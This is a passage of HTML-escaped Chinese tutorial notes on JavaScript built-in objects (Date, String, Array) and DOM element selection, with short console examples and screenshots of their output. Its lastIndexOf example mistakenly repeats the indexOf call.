&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/f778c4fea0-built-in-date5-1698821112393145.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;getHours()：获取小时&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getHours() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/612797e1b3-built-in-date6-1698821115673147.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;getMinutes()：获取分钟&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getMinutes() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d774f167c5-built-in-date7-1698821118225149.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;getSeconds()：获取秒&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getSeconds() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/28ebe61570-built-in-date8-1698821122000151.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;getTime()：获取1970年1月1日至今的&lt;strong&gt;毫秒数&lt;/strong&gt;，也称**&amp;lt;u&amp;gt;时间戳&amp;lt;/u&amp;gt;**&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getTime() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/3eb22fce9e-built-in-date9-1698821133438153.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.3 字符串对象String&lt;/h5&gt;
&lt;p&gt;不是构造函数，直接使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;字符串.方法()&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/charAt#%E8%AF%AD%E6%B3%95&quot;&gt;charAt()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;使用下标，返回在指定位置的字符。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hello world&quot;
console.log(str.charAt(2))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/3c61f7676e-built-in-string-1698821136668155.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf#%E8%AF%AD%E6%B3%95&quot;&gt;indexOf()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;从前往后检索字符串，返回指定的字符串在目标字符串中首次出现的下标。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hello world&quot;
console.log(str.indexOf(&quot;el&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/1386a6c2a4-built-in-string2-1698821140672157.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h6&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf#%E8%AF%AD%E6%B3%95&quot;&gt;lastIndexOf()&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;从后往前检索字符串，并从起始位置（0）开始计算返回字符串最后出现的位置。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hello world&quot;
console.log(str.indexOf(&quot;el&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/cb8f49f145-built-in-string3-1698821145636159.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h6&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes#%E8%AF%AD%E6%B3%95&quot;&gt;includes()&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;查找字符串中是否包含指定的子字符串。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hello world&quot;
console.log(str.includes(&quot;el&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/45ab9d28f1-built-in-string4-1698821149368161.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h6&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace#%E8%AF%AD%E6%B3%95&quot;&gt;replace()&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;在字符串中查找匹配的子串，并替换与匹配的子串。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：不会修改原字符串，只是一个返回值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hello world&quot;
console.log(&quot;替换前&quot;,str);
console.log(&quot;替换后&quot;,str.replace(/el/, &quot;EL&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/7b51afc82e-built-in-string5-1698821153575163.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h6&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/split#%E8%AF%AD%E6%B3%95&quot;&gt;split()&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;把字符串按照传入的标识，分割成多个字符串，放入一个数组中。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：不会修改原字符串，只是一个返回值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hello world&quot;
var result = str.split(&quot;el&quot;)
console.log(&quot;分割后结果&quot;, result)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/a607dc2b85-built-in-string6-1698821157758165.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h6&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/substring#%E8%AF%AD%E6%B3%95&quot;&gt;substring()&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;提取字符串中两个指定的索引号之间的字符。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：不会修改原字符串，只是一个返回值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;hello world&quot;
var result = str.substring(0,3)
console.log(result)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/5ec7f39abc-built-in-string7-1698821161344167.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h6&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim#%E8%AF%AD%E6%B3%95&quot;&gt;trim()&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;从两头去掉空白字符的字符串，并不影响原字符串本身。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：不会修改原字符串，只是一个返回值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var str = &quot;   hello world   &quot;
console.log(&quot;原字符串：&quot;,str);
var result = str.trim()
console.log(&quot;去除空格后：&quot;,result)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2804725b7b-built-in-string8-1698821165672169.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.4 数组对象Array&lt;/h5&gt;
&lt;p&gt;不是构造函数，可以直接用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/push#%E8%AF%AD%E6%B3%95&quot;&gt;push()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;添加一个新的元素到数组末尾。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：新的数组长度。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789]
console.log(&quot;旧数组&quot;,arr)
var result = arr.push(111)
console.log(&quot;新数组长度&quot;,result)
console.log(&quot;新数组&quot;,arr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/0a77348be5-built-in-array-1698821169249171.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop#%E8%AF%AD%E6%B3%95&quot;&gt;pop()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;从一个数组中删除并返回最后一个元素&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：从数组中删除的元素&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789]
var result = arr.pop()
console.log(result)
console.log(arr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/11c54301be-built-in-array2-1698821172466173.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse#%E8%AF%AD%E6%B3%95&quot;&gt;reverse()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;颠倒数组中元素的位置，改变了数组。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：颠倒后的数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789]
var result = arr.reverse()
console.log(&quot;顺序颠倒&quot;,arr);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/497b7a7eb1-built-in-array3-1698821176147175.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#%E8%AF%AD%E6%B3%95&quot;&gt;sort()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;按照传入规则&lt;code&gt;compareFn&lt;/code&gt;排序数组，如果没有指明 &lt;code&gt;compareFn&lt;/code&gt; ，那么元素会按照转换为的字符串的诸个字符的 Unicode 位点进行排序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：排序后的数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 普通数组排序 */
var arr = [1, 123, 20, 66]
// 从小到大排序
var result = arr.sort(function(a, b){
    return a - b
})
// 从大到小排序
var result = arr.sort(function(a, b){
    return b - a
})

/* 对象数组排序 */
var arr = [{name:&quot;小红&quot;, age:10}, {name:&quot;老王&quot;, age:35}, {name:&quot;小明&quot;, age:20}]
// 按年龄从小到大排序
var result = arr.sort(function(a, b){
    return a.age - b.age
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/205bca41dc-built-in-array4-1698821179985177.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf#%E8%AF%AD%E6%B3%95&quot;&gt;indexOf()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;使用&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Strict_equality&quot;&gt;全等运算&lt;/a&gt;（与 &lt;code&gt;===&lt;/code&gt;，或称为三等号运算符的方法相同）判断 &lt;code&gt;searchElement&lt;/code&gt; 与数组中包含的元素之间的关系，返回数组中该元素第一次出现的索引。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：首个被找到的元素在数组中的索引位置; 若没有找到则返回 &lt;strong&gt;-1&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789, 456]
console.log(arr.indexOf(456))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d6a59d4153-built-in-array5-1698821183728179.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf#%E8%AF%AD%E6%B3%95&quot;&gt;lastIndexOf()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;使用&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators#using_the_equality_operators&quot;&gt;严格相等 (en-US)&lt;/a&gt;（strict equality，即 ===）比较 &lt;code&gt;searchElement&lt;/code&gt; 和数组中的元素，返回数组中该元素最后一次出现的索引。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：数组中该元素最后一次出现的索引，如未找到返回-1。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789, 456]
console.log(arr.lastIndexOf(456))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8f0a77ffff-built-in-array6-1698821188137181.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/join#%E8%AF%AD%E6%B3%95&quot;&gt;join()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;所有数组元素被转换成字符串，并通过指定字符（非必须），连接到一个字符串中。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：一个所有数组元素连接的字符串。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：如果一个元素是 &lt;code&gt;undefined&lt;/code&gt; 或 &lt;code&gt;null&lt;/code&gt;，它将被转换为空字符串，而不是字符串 &lt;code&gt;&quot;undefined&quot;&lt;/code&gt; 或 &lt;code&gt;&quot;null&quot;&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789]
// 直接连接
console.log(arr.join())
// 指定连接符
console.log(arr.join(&quot;-&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/9949dbacc5-built-in-array7-1698821191357183.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach#%E8%AF%AD%E6%B3%95&quot;&gt;forEach()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;数组迭代器。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：此方式中，&lt;code&gt;break&lt;/code&gt;、&lt;code&gt;continue&lt;/code&gt;关键字无效，只能使用&lt;code&gt;return&lt;/code&gt;达到&lt;code&gt;continue&lt;/code&gt;的效果。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, &quot;123&quot;, true, {name:&quot;小明&quot;}]
arr.forEach(function(element, index, arr){
    // element =&amp;gt; 当前遍历到的元素
    // index =&amp;gt; 当前元素的下标
    // arr =&amp;gt; 原数组
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/01a748e622-built-in-array8-1698821194759185.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/includes#%E8%AF%AD%E6%B3%95&quot;&gt;includes()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;判断一个数组是否包含一个指定的值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：返回一个布尔值 &lt;code&gt;Boolean&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789]
console.log(arr.includes(456))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/24568bd9db-built-in-array9-1698821197667187.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/splice#%E8%AF%AD%E6%B3%95&quot;&gt;splice()&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;只传前两个参数，是删除元素；传3个以上参数，会将第三个开始的参数，添加到数组&lt;code&gt;start&lt;/code&gt;下标位置。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;splice(start, deleteCount, item1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：由被删除的元素组成的一个数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123,456]
// 删除第二个元素
arr.splice(1, 1) // 数组变为 [123]
console.log(&quot;删除了第二个元素&quot;,arr);
// 添加元素
arr.splice(0, 0, 456, 789) // 数组变为[456, 789, 123]
console.log(&quot;添加元素了的数组&quot;,arr);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d4a29b1bee-built-in-array10-1698821201380189.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节，主要介绍了作用域、对象、内置对象的知识点。这些知识点中对象、内置对象是重点也是难点。大家要牢记任何事务都是对象，对象的创建、如何遍历对象、对象的使用。内置对象更多是提供给我们便捷的方法，需要大家多去使用，多去记忆，在需要它们的时候拿出来，快速解决问题。&lt;/p&gt;
&lt;h2&gt;JavaScript-04&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;Dom基础知识、获取元素、操作元素&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟练掌握获取元素&lt;/li&gt;
&lt;li&gt;熟练操作元素&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;熟练掌握获取元素&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;熟练操作元素&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;熟练掌握获取元素&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;熟练操作元素&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 什么是DOM&lt;/h4&gt;
&lt;p&gt;DOM全称Document Object Model（文档对象模型），是一种用于HTML和XML文档的编程接口，给文档提供可一种结构化的表示方法，可以修改文档的内容和结构。&lt;/p&gt;
&lt;p&gt;DOM可以把网页和脚本语言以及其他编程语言联系起来。&lt;/p&gt;
&lt;p&gt;DOM在开发中主要是用于操作元素（标签）。&lt;/p&gt;
&lt;h4&gt;(二) 获取元素&lt;/h4&gt;
&lt;h5&gt;2.1 ID获取&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;getElementById(&quot;id名&quot;)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取匹配到的第一个元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：页面不要有同id名的标签。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div id=&quot;page&quot; &amp;gt;

    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var idDom = document.getElementById(&quot;page&quot;)
    console.log(&quot;我获取到的元素&quot;,idDom)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e614711076-getEL-1698821206814191.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.2 Class获取&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;getElementsByClassName(&quot;class名&quot;)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取匹配到的所有元素。返回的是伪数组（集合）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：只能通过&lt;code&gt;for&lt;/code&gt;循环，无法使用&lt;code&gt;forEach&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var classDom = document.getElementsByClassName(&quot;row&quot;)
    console.log(&quot;获取到的所有元素&quot;,classDom)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/092df92270-getEL2-1698821210135193.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.3 标签名获取&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;getElementsByTagName(&quot;标签名&quot;)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取匹配到的所有元素。返回的是伪数组（集合）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div&amp;gt;
        &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var tagDom = document.getElementsByTagName(&quot;span&quot;)
    console.log(tagDom)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;效果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/027b09b459-getEL3-1698821214162195.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.4 选择器获取&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;querySelector(&quot;css选择器&quot;)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取匹配到的第一个元素。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var classDom = document.querySelector(&quot;.row&quot;)
    console.log(&quot;获取匹配到的第一个元素&quot;,classDom)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/918ea9be19-getEL4.png&quot; style=&quot;zoom:150%;&quot; /&amp;gt;&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;querySelectorAll(&quot;css选择器&quot;)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取匹配到的所有元素。返回的是伪数组（集合）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：可以使用&lt;code&gt;forEach&lt;/code&gt;遍历。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var classDom = document.querySelectorAll(&quot;.row&quot;)
    console.log(classDom)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/76dffcf00a-getEl5-1698821234912198.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
